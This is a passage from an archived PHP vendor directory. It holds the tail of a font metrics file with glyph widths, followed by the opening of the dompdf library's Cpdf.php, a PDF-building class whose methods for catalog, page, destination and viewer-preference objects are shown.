U 42893 ; WX 602 ; N uniA78D ; G 3035
U 42894 ; WX 602 ; N uniA78E ; G 3036
U 42896 ; WX 602 ; N uniA790 ; G 3037
U 42897 ; WX 602 ; N uniA791 ; G 3038
U 42922 ; WX 602 ; N uniA7AA ; G 3039
U 43000 ; WX 602 ; N uniA7F8 ; G 3040
U 43001 ; WX 602 ; N uniA7F9 ; G 3041
U 63173 ; WX 602 ; N uniF6C5 ; G 3042
U 64257 ; WX 602 ; N fi ; G 3043
U 64258 ; WX 602 ; N fl ; G 3044
U 64338 ; WX 602 ; N uniFB52 ; G 3045
U 64339 ; WX 602 ; N uniFB53 ; G 3046
U 64340 ; WX 602 ; N uniFB54 ; G 3047
U 64341 ; WX 602 ; N uniFB55 ; G 3048
U 64342 ; WX 602 ; N uniFB56 ; G 3049
U 64343 ; WX 602 ; N uniFB57 ; G 3050
U 64344 ; WX 602 ; N uniFB58 ; G 3051
U 64345 ; WX 602 ; N uniFB59 ; G 3052
U 64346 ; WX 602 ; N uniFB5A ; G 3053
U 64347 ; WX 602 ; N uniFB5B ; G 3054
U 64348 ; WX 602 ; N uniFB5C ; G 3055
U 64349 ; WX 602 ; N uniFB5D ; G 3056
U 64350 ; WX 602 ; N uniFB5E ; G 3057
U 64351 ; WX 602 ; N uniFB5F ; G 3058
U 64352 ; WX 602 ; N uniFB60 ; G 3059
U 64353 ; WX 602 ; N uniFB61 ; G 3060
U 64354 ; WX 602 ; N uniFB62 ; G 3061
U 64355 ; WX 602 ; N uniFB63 ; G 3062
U 64356 ; WX 602 ; N uniFB64 ; G 3063
U 64357 ; WX 602 ; N uniFB65 ; G 3064
U 64358 ; WX 602 ; N uniFB66 ; G 3065
U 64359 ; WX 602 ; N uniFB67 ; G 3066
U 64360 ; WX 602 ; N uniFB68 ; G 3067
U 64361 ; WX 602 ; N uniFB69 ; G 3068
U 64362 ; WX 602 ; N uniFB6A ; G 3069
U 64363 ; WX 602 ; N uniFB6B ; G 3070
U 64364 ; WX 602 ; N uniFB6C ; G 3071
U 64365 ; WX 602 ; N uniFB6D ; G 3072
U 64366 ; WX 602 ; N uniFB6E ; G 3073
U 64367 ; WX 602 ; N uniFB6F ; G 3074
U 64368 ; WX 602 ; N uniFB70 ; G 3075
U 64369 ; WX 602 ; N uniFB71 ; G 3076
U 64370 ; WX 602 ; N uniFB72 ; G 3077
U 64371 ; WX 602 ; N uniFB73 ; G 3078
U 64372 ; WX 602 ; N uniFB74 ; G 3079
U 64373 ; WX 602 ; N uniFB75 ; G 3080
U 64374 ; WX 602 ; N uniFB76 ; G 3081
U 64375 ; WX 602 ; N uniFB77 ; G 3082
U 64376 ; WX 602 ; N uniFB78 ; G 3083
U 64377 ; WX 602 ; N uniFB79 ; G 3084
U 64378 ; WX 602 ; N uniFB7A ; G 3085
U 64379 ; WX 602 ; N uniFB7B ; G 3086
U 64380 ; WX 602 ; N uniFB7C ; G 3087
U 64381 ; WX 602 ; N uniFB7D ; G 3088
U 64382 ; WX 602 ; N uniFB7E ; G 3089
U 64383 ; WX 602 ; N uniFB7F ; G 3090
U 64384 ; WX 602 ; N uniFB80 ; G 3091
U 64385 ; WX 602 ; N uniFB81 ; G 3092
U 64394 ; WX 602 ; N uniFB8A ; G 3093
U 64395 ; WX 602 ; N uniFB8B ; G 3094
U 64396 ; WX 602 ; N uniFB8C ; G 3095
U 64397 ; WX 602 ; N uniFB8D ; G 3096
U 64398 ; WX 602 ; N uniFB8E ; G 3097
U 64399 ; WX 602 ; N uniFB8F ; G 3098
U 64400 ; WX 602 ; N uniFB90 ; G 3099
U 64401 ; WX 602 ; N uniFB91 ; G 3100
U 64402 ; WX 602 ; N uniFB92 ; G 3101
U 64403 ; WX 602 ; N uniFB93 ; G 3102
U 64404 ; WX 602 ; N uniFB94 ; G 3103
U 64405 ; WX 602 ; N uniFB95 ; G 3104
U 64414 ; WX 602 ; N uniFB9E ; G 3105
U 64415 ; WX 602 ; N uniFB9F ; G 3106
U 64426 ; WX 602 ; N uniFBAA ; G 3107
U 64427 ; WX 602 ; N uniFBAB ; G 3108
U 64428 ; WX 602 ; N uniFBAC ; G 3109
U 64429 ; WX 602 ; N uniFBAD ; G 3110
U 64488 ; WX 602 ; N uniFBE8 ; G 3111
U 64489 ; WX 602 ; N uniFBE9 ; G 3112
U 64508 ; WX 602 ; N uniFBFC ; G 3113
U 64509 ; WX 602 ; N uniFBFD ; G 3114
U 64510 ; WX 602 ; N uniFBFE ; G 3115
U 64511 ; WX 602 ; N uniFBFF ; G 3116
U 65136 ; WX 602 ; N uniFE70 ; G 3117
U 65137 ; WX 602 ; N uniFE71 ; G 3118
U 65138 ; WX 602 ; N uniFE72 ; G 3119
U 65139 ; WX 602 ; N uniFE73 ; G 3120
U 65140 ; WX 602 ; N uniFE74 ; G 3121
U 65142 ; WX 602 ; N uniFE76 ; G 3122
U 65143 ; WX 602 ; N uniFE77 ; G 3123
U 65144 ; WX 602 ; N uniFE78 ; G 3124
U 65145 ; WX 602 ; N uniFE79 ; G 3125
U 65146 ; WX 602 ; N uniFE7A ; G 3126
U 65147 ; WX 602 ; N uniFE7B ; G 3127
U 65148 ; WX 602 ; N uniFE7C ; G 3128
U 65149 ; WX 602 ; N uniFE7D ; G 3129
U 65150 ; WX 602 ; N uniFE7E ; G 3130
U 65151 ; WX 602 ; N uniFE7F ; G 3131
U 65152 ; WX 602 ; N uniFE80 ; G 3132
U 65153 ; WX 602 ; N uniFE81 ; G 3133
U 65154 ; WX 602 ; N uniFE82 ; G 3134
U 65155 ; WX 602 ; N uniFE83 ; G 3135
U 65156 ; WX 602 ; N uniFE84 ; G 3136
U 65157 ; WX 602 ; N uniFE85 ; G 3137
U 65158 ; WX 602 ; N uniFE86 ; G 3138
U 65159 ; WX 602 ; N uniFE87 ; G 3139
U 65160 ; WX 602 ; N uniFE88 ; G 3140
U 65161 ; WX 602 ; N uniFE89 ; G 3141
U 65162 ; WX 602 ; N uniFE8A ; G 3142
U 65163 ; WX 602 ; N uniFE8B ; G 3143
U 65164 ; WX 602 ; N uniFE8C ; G 3144
U 65165 ; WX 602 ; N uniFE8D ; G 3145
U 65166 ; WX 602 ; N uniFE8E ; G 3146
U 65167 ; WX 602 ; N uniFE8F ; G 3147
U 65168 ; WX 602 ; N uniFE90 ; G 3148
U 65169 ; WX 602 ; N uniFE91 ; G 3149
U 65170 ; WX 602 ; N uniFE92 ; G 3150
U 65171 ; WX 602 ; N uniFE93 ; G 3151
U 65172 ; WX 602 ; N uniFE94 ; G 3152
U 65173 ; WX 602 ; N uniFE95 ; G 3153
U 65174 ; WX 602 ; N uniFE96 ; G 3154
U 65175 ; WX 602 ; N uniFE97 ; G 3155
U 65176 ; WX 602 ; N uniFE98 ; G 3156
U 65177 ; WX 602 ; N uniFE99 ; G 3157
U 65178 ; WX 602 ; N uniFE9A ; G 3158
U 65179 ; WX 602 ; N uniFE9B ; G 3159
U 65180 ; WX 602 ; N uniFE9C ; G 3160
U 65181 ; WX 602 ; N uniFE9D ; G 3161
U 65182 ; WX 602 ; N uniFE9E ; G 3162
U 65183 ; WX 602 ; N uniFE9F ; G 3163
U 65184 ; WX 602 ; N uniFEA0 ; G 3164
U 65185 ; WX 602 ; N uniFEA1 ; G 3165
U 65186 ; WX 602 ; N uniFEA2 ; G 3166
U 65187 ; WX 602 ; N uniFEA3 ; G 3167
U 65188 ; WX 602 ; N uniFEA4 ; G 3168
U 65189 ; WX 602 ; N uniFEA5 ; G 3169
U 65190 ; WX 602 ; N uniFEA6 ; G 3170
U 65191 ; WX 602 ; N uniFEA7 ; G 3171
U 65192 ; WX 602 ; N uniFEA8 ; G 3172
U 65193 ; WX 602 ; N uniFEA9 ; G 3173
U 65194 ; WX 602 ; N uniFEAA ; G 3174
U 65195 ; WX 602 ; N uniFEAB ; G 3175
U 65196 ; WX 602 ; N uniFEAC ; G 3176
U 65197 ; WX 602 ; N uniFEAD ; G 3177
U 65198 ; WX 602 ; N uniFEAE ; G 3178
U 65199 ; WX 602 ; N uniFEAF ; G 3179
U 65200 ; WX 602 ; N uniFEB0 ; G 3180
U 65201 ; WX 602 ; N uniFEB1 ; G 3181
U 65202 ; WX 602 ; N uniFEB2 ; G 3182
U 65203 ; WX 602 ; N uniFEB3 ; G 3183
U 65204 ; WX 602 ; N uniFEB4 ; G 3184
U 65205 ; WX 602 ; N uniFEB5 ; G 3185
U 65206 ; WX 602 ; N uniFEB6 ; G 3186
U 65207 ; WX 602 ; N uniFEB7 ; G 3187
U 65208 ; WX 602 ; N uniFEB8 ; G 3188
U 65209 ; WX 602 ; N uniFEB9 ; G 3189
U 65210 ; WX 602 ; N uniFEBA ; G 3190
U 65211 ; WX 602 ; N uniFEBB ; G 3191
U 65212 ; WX 602 ; N uniFEBC ; G 3192
U 65213 ; WX 602 ; N uniFEBD ; G 3193
U 65214 ; WX 602 ; N uniFEBE ; G 3194
U 65215 ; WX 602 ; N uniFEBF ; G 3195
U 65216 ; WX 602 ; N uniFEC0 ; G 3196
U 65217 ; WX 602 ; N uniFEC1 ; G 3197
U 65218 ; WX 602 ; N uniFEC2 ; G 3198
U 65219 ; WX 602 ; N uniFEC3 ; G 3199
U 65220 ; WX 602 ; N uniFEC4 ; G 3200
U 65221 ; WX 602 ; N uniFEC5 ; G 3201
U 65222 ; WX 602 ; N uniFEC6 ; G 3202
U 65223 ; WX 602 ; N uniFEC7 ; G 3203
U 65224 ; WX 602 ; N uniFEC8 ; G 3204
U 65225 ; WX 602 ; N uniFEC9 ; G 3205
U 65226 ; WX 602 ; N uniFECA ; G 3206
U 65227 ; WX 602 ; N uniFECB ; G 3207
U 65228 ; WX 602 ; N uniFECC ; G 3208
U 65229 ; WX 602 ; N uniFECD ; G 3209
U 65230 ; WX 602 ; N uniFECE ; G 3210
U 65231 ; WX 602 ; N uniFECF ; G 3211
U 65232 ; WX 602 ; N uniFED0 ; G 3212
U 65233 ; WX 602 ; N uniFED1 ; G 3213
U 65234 ; WX 602 ; N uniFED2 ; G 3214
U 65235 ; WX 602 ; N uniFED3 ; G 3215
U 65236 ; WX 602 ; N uniFED4 ; G 3216
U 65237 ; WX 602 ; N uniFED5 ; G 3217
U 65238 ; WX 602 ; N uniFED6 ; G 3218
U 65239 ; WX 602 ; N uniFED7 ; G 3219
U 65240 ; WX 602 ; N uniFED8 ; G 3220
U 65241 ; WX 602 ; N uniFED9 ; G 3221
U 65242 ; WX 602 ; N uniFEDA ; G 3222
U 65243 ; WX 602 ; N uniFEDB ; G 3223
U 65244 ; WX 602 ; N uniFEDC ; G 3224
U 65245 ; WX 602 ; N uniFEDD ; G 3225
U 65246 ; WX 602 ; N uniFEDE ; G 3226
U 65247 ; WX 602 ; N uniFEDF ; G 3227
U 65248 ; WX 602 ; N uniFEE0 ; G 3228
U 65249 ; WX 602 ; N uniFEE1 ; G 3229
U 65250 ; WX 602 ; N uniFEE2 ; G 3230
U 65251 ; WX 602 ; N uniFEE3 ; G 3231
U 65252 ; WX 602 ; N uniFEE4 ; G 3232
U 65253 ; WX 602 ; N uniFEE5 ; G 3233
U 65254 ; WX 602 ; N uniFEE6 ; G 3234
U 65255 ; WX 602 ; N uniFEE7 ; G 3235
U 65256 ; WX 602 ; N uniFEE8 ; G 3236
U 65257 ; WX 602 ; N uniFEE9 ; G 3237
U 65258 ; WX 602 ; N uniFEEA ; G 3238
U 65259 ; WX 602 ; N uniFEEB ; G 3239
U 65260 ; WX 602 ; N uniFEEC ; G 3240
U 65261 ; WX 602 ; N uniFEED ; G 3241
U 65262 ; WX 602 ; N uniFEEE ; G 3242
U 65263 ; WX 602 ; N uniFEEF ; G 3243
U 65264 ; WX 602 ; N uniFEF0 ; G 3244
U 65265 ; WX 602 ; N uniFEF1 ; G 3245
U 65266 ; WX 602 ; N uniFEF2 ; G 3246
U 65267 ; WX 602 ; N uniFEF3 ; G 3247
U 65268 ; WX 602 ; N uniFEF4 ; G 3248
U 65269 ; WX 602 ; N uniFEF5 ; G 3249
U 65270 ; WX 602 ; N uniFEF6 ; G 3250
U 65271 ; WX 602 ; N uniFEF7 ; G 3251
U 65272 ; WX 602 ; N uniFEF8 ; G 3252
U 65273 ; WX 602 ; N uniFEF9 ; G 3253
U 65274 ; WX 602 ; N uniFEFA ; G 3254
U 65275 ; WX 602 ; N uniFEFB ; G 3255
U 65276 ; WX 602 ; N uniFEFC ; G 3256
U 65279 ; WX 602 ; N uniFEFF ; G 3257
U 65529 ; WX 602 ; N uniFFF9 ; G 3258
U 65530 ; WX 602 ; N uniFFFA ; G 3259
U 65531 ; WX 602 ; N uniFFFB ; G 3260
U 65532 ; WX 602 ; N uniFFFC ; G 3261
U 65533 ; WX 602 ; N uniFFFD ; G 3262
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/Cpdf.php000066600000661141151150443010012725 0ustar00<?php
/**
 * A PHP class to provide the basic functionality to create a pdf document without
 * any requirement for additional modules.
 *
 * @author  Wayne Munro
 * @license http://creativecommons.org/licenses/publicdomain/ Public Domain
 * @package Cpdf
 */
namespace Dompdf;

use FontLib\Exception\FontNotFoundException;
use FontLib\Font;
use FontLib\BinaryStream;

class Cpdf
{
    const PDF_VERSION = '1.7';

    const ACROFORM_SIG_SIGNATURESEXISTS = 0x0001;
    const ACROFORM_SIG_APPENDONLY =       0x0002;

    const ACROFORM_FIELD_BUTTON =   'Btn';
    const ACROFORM_FIELD_TEXT =     'Tx';
    const ACROFORM_FIELD_CHOICE =   'Ch';
    const ACROFORM_FIELD_SIG =      'Sig';

    const ACROFORM_FIELD_READONLY =               0x0001;
    const ACROFORM_FIELD_REQUIRED =               0x0002;

    const ACROFORM_FIELD_TEXT_MULTILINE =         0x1000;
    const ACROFORM_FIELD_TEXT_PASSWORD =          0x2000;
    const ACROFORM_FIELD_TEXT_RICHTEXT =         0x10000;

    const ACROFORM_FIELD_CHOICE_COMBO =          0x20000;
    const ACROFORM_FIELD_CHOICE_EDIT =           0x40000;
    const ACROFORM_FIELD_CHOICE_SORT =           0x80000;
    const ACROFORM_FIELD_CHOICE_MULTISELECT =   0x200000;

    const XOBJECT_SUBTYPE_FORM = 'Form';

    /**
     * @var integer The current number of pdf objects in the document
     */
    public $numObj = 0;

    /**
     * @var array This array contains all of the pdf objects, ready for final assembly
     */
    public $objects = [];

    /**
     * @var integer The objectId (number within the objects array) of the document catalog
     */
    public $catalogId;

    /**
     * @var integer The objectId (number within the objects array) of indirect references (Javascript EmbeddedFiles)
     */
    protected $indirectReferenceId = 0;

    /**
     * @var integer The objectId (number within the objects array)
     */
    protected $embeddedFilesId = 0;

    /**
     * AcroForm objectId
     *
     * @var integer
     */
    public $acroFormId;

    /**
     * @var int
     */
    public $signatureMaxLen = 5000;

    /**
     * @var array Array carrying information about the fonts that the system currently knows about
     * Used to ensure that a font is not loaded twice, among other things
     */
    public $fonts = [];

    /**
     * @var string The default font metrics file to use if no other font has been loaded.
     * The path to the directory containing the font metrics should be included
     */
    public $defaultFont = './fonts/Helvetica.afm';

    /**
     * @string A record of the current font
     */
    public $currentFont = '';

    /**
     * @var string The current base font
     */
    public $currentBaseFont = '';

    /**
     * @var integer The number of the current font within the font array
     */
    public $currentFontNum = 0;

    /**
     * @var integer
     */
    public $currentNode;

    /**
     * @var integer Object number of the current page
     */
    public $currentPage;

    /**
     * @var integer Object number of the currently active contents block
     */
    public $currentContents;

    /**
     * @var integer Number of fonts within the system
     */
    public $numFonts = 0;

    /**
     * @var integer Number of graphic state resources used
     */
    private $numStates = 0;

    /**
     * @var array Number of graphic state resources used
     */
    private $gstates = [];

    /**
     * @var array|null Current color for fill operations, defaults to inactive value,
     * all three components should be between 0 and 1 inclusive when active
     */
    public $currentColor = null;

    /**
     * @var array|null Current color for stroke operations (lines etc.)
     */
    public $currentStrokeColor = null;

    /**
     * @var string Fill rule (nonzero or evenodd)
     */
    public $fillRule = "nonzero";

    /**
     * @var string Current style that lines are drawn in
     */
    public $currentLineStyle = '';

    /**
     * @var array|null Current line transparency (partial graphics state)
     */
    public $currentLineTransparency = ["mode" => "Normal", "opacity" => 1.0];

    /**
     * @var array|null Current fill transparency (partial graphics state)
     */
    public $currentFillTransparency = ["mode" => "Normal", "opacity" => 1.0];

    /**
     * @var array An array which is used to save the state of the document, mainly the colors and styles
     * it is used to temporarily change to another state, then change back to what it was before
     */
    public $stateStack = [];

    /**
     * @var integer Number of elements within the state stack
     */
    public $nStateStack = 0;

    /**
     * @var integer Number of page objects within the document
     */
    public $numPages = 0;

    /**
     * @var array Object Id storage stack
     */
    public $stack = [];

    /**
     * @var integer Number of elements within the object Id storage stack
     */
    public $nStack = 0;

    /**
     * an array which contains information about the objects which are not firmly attached to pages
     * these have been added with the addObject function
     */
    public $looseObjects = [];

    /**
     * array contains information about how the loose objects are to be added to the document
     */
    public $addLooseObjects = [];

    /**
     * @var integer The objectId of the information object for the document
     * this contains authorship, title etc.
     */
    public $infoObject = 0;

    /**
     * @var integer Number of images being tracked within the document
     */
    public $numImages = 0;

    /**
     * @var array An array containing options about the document
     * it defaults to turning on the compression of the objects
     */
    public $options = ['compression' => true];

    /**
     * @var integer The objectId of the first page of the document
     */
    public $firstPageId;

    /**
     * @var integer The object Id of the procset object
     */
    public $procsetObjectId;

    /**
     * @var array Store the information about the relationship between font families
     * this used so that the code knows which font is the bold version of another font, etc.
     * the value of this array is initialised in the constructor function.
     */
    public $fontFamilies = [];

    /**
     * @var string Folder for php serialized formats of font metrics files.
     * If empty string, use same folder as original metrics files.
     * This can be passed in from class creator.
     * If this folder does not exist or is not writable, Cpdf will be **much** slower.
     * Because of potential trouble with php safe mode, folder cannot be created at runtime.
     */
    public $fontcache = '';

    /**
     * @var integer The version of the font metrics cache file.
     * This value must be manually incremented whenever the internal font data structure is modified.
     */
    public $fontcacheVersion = 6;

    /**
     * @var string Temporary folder.
     * If empty string, will attempt system tmp folder.
     * This can be passed in from class creator.
     */
    public $tmp = '';

    /**
     * @var string Track if the current font is bolded or italicised
     */
    public $currentTextState = '';

    /**
     * @var string Messages are stored here during processing, these can be selected afterwards to give some useful debug information
     */
    public $messages = '';

    /**
     * @var string The encryption array for the document encryption is stored here
     */
    public $arc4 = '';

    /**
     * @var integer The object Id of the encryption information
     */
    public $arc4_objnum = 0;

    /**
     * @var string The file identifier, used to uniquely identify a pdf document
     */
    public $fileIdentifier = '';

    /**
     * @var boolean A flag to say if a document is to be encrypted or not
     */
    public $encrypted = false;

    /**
     * @var string The encryption key for the encryption of all the document content (structure is not encrypted)
     */
    public $encryptionKey = '';

    /**
     * @var array Array which forms a stack to keep track of nested callback functions
     */
    public $callback = [];

    /**
     * @var integer The number of callback functions in the callback array
     */
    public $nCallback = 0;

    /**
     * @var array Store label->id pairs for named destinations, these will be used to replace internal links
     * done this way so that destinations can be defined after the location that links to them
     */
    public $destinations = [];

    /**
     * @var array Store the stack for the transaction commands, each item in here is a record of the values of all the
     * publiciables within the class, so that the user can rollback at will (from each 'start' command)
     * note that this includes the objects array, so these can be large.
     */
    public $checkpoint = '';

    /**
     * @var array Table of Image origin filenames and image labels which were already added with o_image().
     * Allows to merge identical images
     */
    public $imagelist = [];

    /**
     * @var array Table of already added alpha and plain image files for transparent PNG images.
     */
    protected $imageAlphaList = [];

    /**
     * @var array List of temporary image files to be deleted after processing.
     */
    protected $imageCache = [];

    /**
     * @var boolean Whether the text passed in should be treated as Unicode or just local character set.
     */
    public $isUnicode = false;

    /**
     * @var string the JavaScript code of the document
     */
    public $javascript = '';

    /**
     * @var boolean whether the compression is possible
     */
    protected $compressionReady = false;

    /**
     * @var array Current page size
     */
    protected $currentPageSize = ["width" => 0, "height" => 0];

    /**
     * @var array All the chars that will be required in the font subsets
     */
    protected $stringSubsets = [];

    /**
     * @var string The target internal encoding
     */
    protected static $targetEncoding = 'Windows-1252';

    /**
     * @var array
     */
    protected $byteRange = array();

    /**
     * @var array The list of the core fonts
     */
    protected static $coreFonts = [
        'courier',
        'courier-bold',
        'courier-oblique',
        'courier-boldoblique',
        'helvetica',
        'helvetica-bold',
        'helvetica-oblique',
        'helvetica-boldoblique',
        'times-roman',
        'times-bold',
        'times-italic',
        'times-bolditalic',
        'symbol',
        'zapfdingbats'
    ];

    /**
     * Class constructor
     * This will start a new document
     *
     * @param array   $pageSize  Array of 4 numbers, defining the bottom left and upper right corner of the page. first two are normally zero.
     * @param boolean $isUnicode Whether text will be treated as Unicode or not.
     * @param string  $fontcache The font cache folder
     * @param string  $tmp       The temporary folder
     */
    function __construct($pageSize = [0, 0, 612, 792], $isUnicode = false, $fontcache = '', $tmp = '')
    {
        $this->isUnicode = $isUnicode;
        $this->fontcache = rtrim($fontcache, DIRECTORY_SEPARATOR."/\\");
        $this->tmp = ($tmp !== '' ? $tmp : sys_get_temp_dir());
        $this->newDocument($pageSize);

        $this->compressionReady = function_exists('gzcompress');

        if (in_array('Windows-1252', mb_list_encodings())) {
            self::$targetEncoding = 'Windows-1252';
        }

        // also initialize the font families that are known about already
        $this->setFontFamily('init');
    }

    public function __destruct()
    {
        foreach ($this->imageCache as $file) {
            if (file_exists($file)) {
                unlink($file);
            }
        }
    }

    /**
     * Document object methods (internal use only)
     *
     * There is about one object method for each type of object in the pdf document
     * Each function has the same call list ($id,$action,$options).
     * $id = the object ID of the object, or what it is to be if it is being created
     * $action = a string specifying the action to be performed, though ALL must support:
     *           'new' - create the object with the id $id
     *           'out' - produce the output for the pdf object
     * $options = optional, a string or array containing the various parameters for the object
     *
     * These, in conjunction with the output function are the ONLY way for output to be produced
     * within the pdf 'file'.
     */

    /**
     * Destination object, used to specify the location for the user to jump to, presently on opening
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_destination($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'destination', 'info' => []];
                $tmp = '';
                switch ($options['type']) {
                    case 'XYZ':
                    /** @noinspection PhpMissingBreakStatementInspection */
                    case 'FitR':
                        $tmp = ' ' . $options['p3'] . $tmp;
                    case 'FitH':
                    case 'FitV':
                    case 'FitBH':
                    /** @noinspection PhpMissingBreakStatementInspection */
                    case 'FitBV':
                        $tmp = ' ' . $options['p1'] . ' ' . $options['p2'] . $tmp;
                    case 'Fit':
                    case 'FitB':
                        $tmp = $options['type'] . $tmp;
                        $this->objects[$id]['info']['string'] = $tmp;
                        $this->objects[$id]['info']['page'] = $options['page'];
                }
                break;

            case 'out':
                $o = &$this->objects[$id];

                $tmp = $o['info'];
                $res = "\n$id 0 obj\n" . '[' . $tmp['page'] . ' 0 R /' . $tmp['string'] . "]\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * set the viewer preferences
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return string|null
     */
    protected function o_viewerPreferences($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'viewerPreferences', 'info' => []];
                break;

            case 'add':
                $o = &$this->objects[$id];

                foreach ($options as $k => $v) {
                    switch ($k) {
                        // Boolean keys
                        case 'HideToolbar':
                        case 'HideMenubar':
                        case 'HideWindowUI':
                        case 'FitWindow':
                        case 'CenterWindow':
                        case 'DisplayDocTitle':
                        case 'PickTrayByPDFSize':
                            $o['info'][$k] = (bool)$v;
                            break;

                        // Integer keys
                        case 'NumCopies':
                            $o['info'][$k] = (int)$v;
                            break;

                        // Name keys
                        case 'ViewArea':
                        case 'ViewClip':
                        case 'PrintClip':
                        case 'PrintArea':
                            $o['info'][$k] = (string)$v;
                            break;

                        // Named with limited valid values
                        case 'NonFullScreenPageMode':
                            if (!in_array($v, ['UseNone', 'UseOutlines', 'UseThumbs', 'UseOC'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        case 'Direction':
                            if (!in_array($v, ['L2R', 'R2L'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        case 'PrintScaling':
                            if (!in_array($v, ['None', 'AppDefault'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        case 'Duplex':
                            if (!in_array($v, ['None', 'Simplex', 'DuplexFlipShortEdge', 'DuplexFlipLongEdge'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        // Integer array
                        case 'PrintPageRange':
                            // Cast to integer array
                            foreach ($v as $vK => $vV) {
                                $v[$vK] = (int)$vV;
                            }
                            $o['info'][$k] = array_values($v);
                            break;
                    }
                }
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< ";

                foreach ($o['info'] as $k => $v) {
                    if (is_string($v)) {
                        $v = '/' . $v;
                    } elseif (is_int($v)) {
                        $v = (string) $v;
                    } elseif (is_bool($v)) {
                        $v = ($v ? 'true' : 'false');
                    } elseif (is_array($v)) {
                        $v = '[' . implode(' ', $v) . ']';
                    }
                    $res .= "\n/$k $v";
                }
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * define the document catalog, the overall controller for the document
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return string|null
     */
    protected function o_catalog($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'catalog', 'info' => []];
                $this->catalogId = $id;
                break;

            case 'acroform':
            case 'outlines':
            case 'pages':
            case 'openHere':
            case 'names':
                $o['info'][$action] = $options;
                break;

            case 'viewerPreferences':
                if (!isset($o['info']['viewerPreferences'])) {
                    $this->numObj++;
                    $this->o_viewerPreferences($this->numObj, 'new');
                    $o['info']['viewerPreferences'] = $this->numObj;
                }

                $vp = $o['info']['viewerPreferences'];
                $this->o_viewerPreferences($vp, 'add', $options);

                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Catalog";

                foreach ($o['info'] as $k => $v) {
                    switch ($k) {
                        case 'outlines':
                            $res .= "\n/Outlines $v 0 R";
                            break;

                        case 'pages':
                            $res .= "\n/Pages $v 0 R";
                            break;

                        case 'viewerPreferences':
                            $res .= "\n/ViewerPreferences $v 0 R";
                            break;

                        case 'openHere':
                            $res .= "\n/OpenAction $v 0 R";
                            break;

                        case 'names':
                            $res .= "\n/Names $v 0 R";
                            break;

                        case 'acroform':
                            $res .= "\n/AcroForm $v 0 R";
                            break;
                    }
                }

                $res .= " >>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * object which is a parent to the pages in the document
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_pages($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'pages', 'info' => []];
                $this->o_catalog($this->catalogId, 'pages', $id);
                break;

            case 'page':
                if (!is_array($options)) {
                    // then it will just be the id of the new page
                    $o['info']['pages'][] = $options;
                } else {
                    // then it should be an array having 'id','rid','pos', where rid=the page to which this one will be placed relative
                    // and pos is either 'before' or 'after', saying where this page will fit.
                    if (isset($options['id']) && isset($options['rid']) && isset($options['pos'])) {
                        $i = array_search($options['rid'], $o['info']['pages']);
                        if (isset($o['info']['pages'][$i]) && $o['info']['pages'][$i] == $options['rid']) {

                            // then there is a match
                            // make a space
                            switch ($options['pos']) {
                                case 'before':
                                    $k = $i;
                                    break;

                                case 'after':
                                    $k = $i + 1;
                                    break;

                                default:
                                    $k = -1;
                                    break;
                            }

                            if ($k >= 0) {
                                for ($j = count($o['info']['pages']) - 1; $j >= $k; $j--) {
                                    $o['info']['pages'][$j + 1] = $o['info']['pages'][$j];
                                }

                                $o['info']['pages'][$k] = $options['id'];
                            }
                        }
                    }
                }
                break;

            case 'procset':
                $o['info']['procset'] = $options;
                break;

            case 'mediaBox':
                $o['info']['mediaBox'] = $options;
                // which should be an array of 4 numbers
                $this->currentPageSize = ['width' => $options[2], 'height' => $options[3]];
                break;

            case 'font':
                $o['info']['fonts'][] = ['objNum' => $options['objNum'], 'fontNum' => $options['fontNum']];
                break;

            case 'extGState':
                $o['info']['extGStates'][] = ['objNum' => $options['objNum'], 'stateNum' => $options['stateNum']];
                break;

            case 'xObject':
                $o['info']['xObjects'][] = ['objNum' => $options['objNum'], 'label' => $options['label']];
                break;

            case 'out':
                if (count($o['info']['pages'])) {
                    $res = "\n$id 0 obj\n<< /Type /Pages\n/Kids [";
                    foreach ($o['info']['pages'] as $v) {
                        $res .= "$v 0 R\n";
                    }

                    $res .= "]\n/Count " . count($this->objects[$id]['info']['pages']);

                    if ((isset($o['info']['fonts']) && count($o['info']['fonts'])) ||
                        isset($o['info']['procset']) ||
                        (isset($o['info']['extGStates']) && count($o['info']['extGStates']))
                    ) {
                        $res .= "\n/Resources <<";

                        if (isset($o['info']['procset'])) {
                            $res .= "\n/ProcSet " . $o['info']['procset'] . " 0 R";
                        }

                        if (isset($o['info']['fonts']) && count($o['info']['fonts'])) {
                            $res .= "\n/Font << ";
                            foreach ($o['info']['fonts'] as $finfo) {
                                $res .= "\n/F" . $finfo['fontNum'] . " " . $finfo['objNum'] . " 0 R";
                            }
                            $res .= "\n>>";
                        }

                        if (isset($o['info']['xObjects']) && count($o['info']['xObjects'])) {
                            $res .= "\n/XObject << ";
                            foreach ($o['info']['xObjects'] as $finfo) {
                                $res .= "\n/" . $finfo['label'] . " " . $finfo['objNum'] . " 0 R";
                            }
                            $res .= "\n>>";
                        }

                        if (isset($o['info']['extGStates']) && count($o['info']['extGStates'])) {
                            $res .= "\n/ExtGState << ";
                            foreach ($o['info']['extGStates'] as $gstate) {
                                $res .= "\n/GS" . $gstate['stateNum'] . " " . $gstate['objNum'] . " 0 R";
                            }
                            $res .= "\n>>";
                        }

                        $res .= "\n>>";
                        if (isset($o['info']['mediaBox'])) {
